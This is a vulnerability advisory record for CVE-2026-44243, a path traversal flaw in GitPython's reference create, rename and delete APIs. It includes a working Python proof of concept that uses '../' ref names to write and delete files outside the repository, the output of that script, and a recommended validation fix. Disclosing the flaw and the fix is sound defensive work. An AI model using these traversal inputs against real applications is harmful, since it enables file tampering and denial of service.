{"id":"CVE-2026-44243","aliases":["GHSA-7545-fcxq-7j24","PYSEC-2026-2162"],"title":"GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository","summary":"GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository","severity":"high","cvss":7.1,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","vendor":"gitpython","product":"gitpython","ecosystem":"pip","affected":["gitpython < 3.1.48"],"patched":["gitpython 3.1.48"],"published":"2026-05-06","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:45.903378498Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-7545-fcxq-7j24","references":[{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44243"},{"url":"https://github.com/gitpython-developers/GitPython"},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48"}],"tags":["osv","pip"],"epss":0.00419,"epssPercentile":0.3578,"ingestedAt":"2026-07-13T18:57:54.161Z","slug":"CVE-2026-44243","body":"## Overview\n\n## 🧾 Summary\n\nA vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**.\n\n---\n\n## 📦 Affected Versions\n\n* Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n## 🧠 Details\n\n### Vulnerability Type\n\n**Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n### Root Cause\n\nReference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.\n\n---\n\n### Affected Code\n\n```python\ndef set_reference(self, ref, logmsg=None):\n    ...\n    fpath = self.abspath\n    assure_directory_exists(fpath, is_file=True)\n\n    lfd = LockedFD(fpath)\n    fd = lfd.open(write=True, stream=True)\n    ...\n```\n\n```python\n@classmethod\ndef delete(cls, repo, path):\n    full_ref_path = cls.to_full_path(path)\n    abs_path = os.path.join(repo.common_dir, full_ref_path)\n    if os.path.exists(abs_path):\n        os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path, force=False):\n    new_path = self.to_full_path(new_path)\n    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)\n    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)\n    ...\n    os.rename(cur_abs_path, new_abs_path)\n```\n\n---\n\n### Attack Vector\n\n**Local attack through application-controlled input passed into GitPython reference APIs**\n\n### Authentication Required\n\n**None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.**\n\n---\n\n## 🧪 Proof of Concept\n\n### Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n### Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n    shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir       = {repo_dir}\")\nprint(f\"outside_write  = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo, \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write exists:\", outside_write.exists())\nif outside_write.exists():\n    print(\"[+] outside_write content:\")\n    print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo, \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists after delete:\", outside_delete.exists())\n```\n\n---\n\n### Result\n\n```text\nrepo_dir       = ...\\gp-ghsa-poc\\repo\noutside_write  = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+] outside_write content:\n<current HEAD commit SHA>\n\n[+] outside_delete exists after delete: False\n```\n\n---\n\n## 💥 Impact\n\n### What can an attacker do?\n\n* Create or overwrite files outside the repository metadata directory\n* Delete attacker-chosen files reachable from the process permissions\n* Corrupt application state or configuration files\n* Cause denial of service by deleting or overwriting important files\n\n---\n\n### Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n* **Availability:** High\n\n---\n\n### Who is affected?\n\n* Applications that expose GitPython reference operations to user-controlled input\n* Git automation services, repository management backends, CI/CD helpers, and developer platforms\n* Multi-user environments where one user can influence ref names processed on behalf of another workflow\n\n---\n\n## 🛠️ Mitigation / Fix\n\n### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo, path, *, for_git_dir=False):\n    SymbolicReference._check_ref_name_valid(path)\n\n    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n    target = (base / path).resolve()\n\n    if base not in [target, *target.parents]:\n        raise ValueError(f\"Reference path escapes repository boundary: {path}\")\n\n    return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo, full_ref_path)\n```\n\n## Affected packages\n\n- `gitpython < 3.1.48`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `gitpython 3.1.48`","depth":"twilight","depthScore":39,"depthScoreParts":{"impact":39.1,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}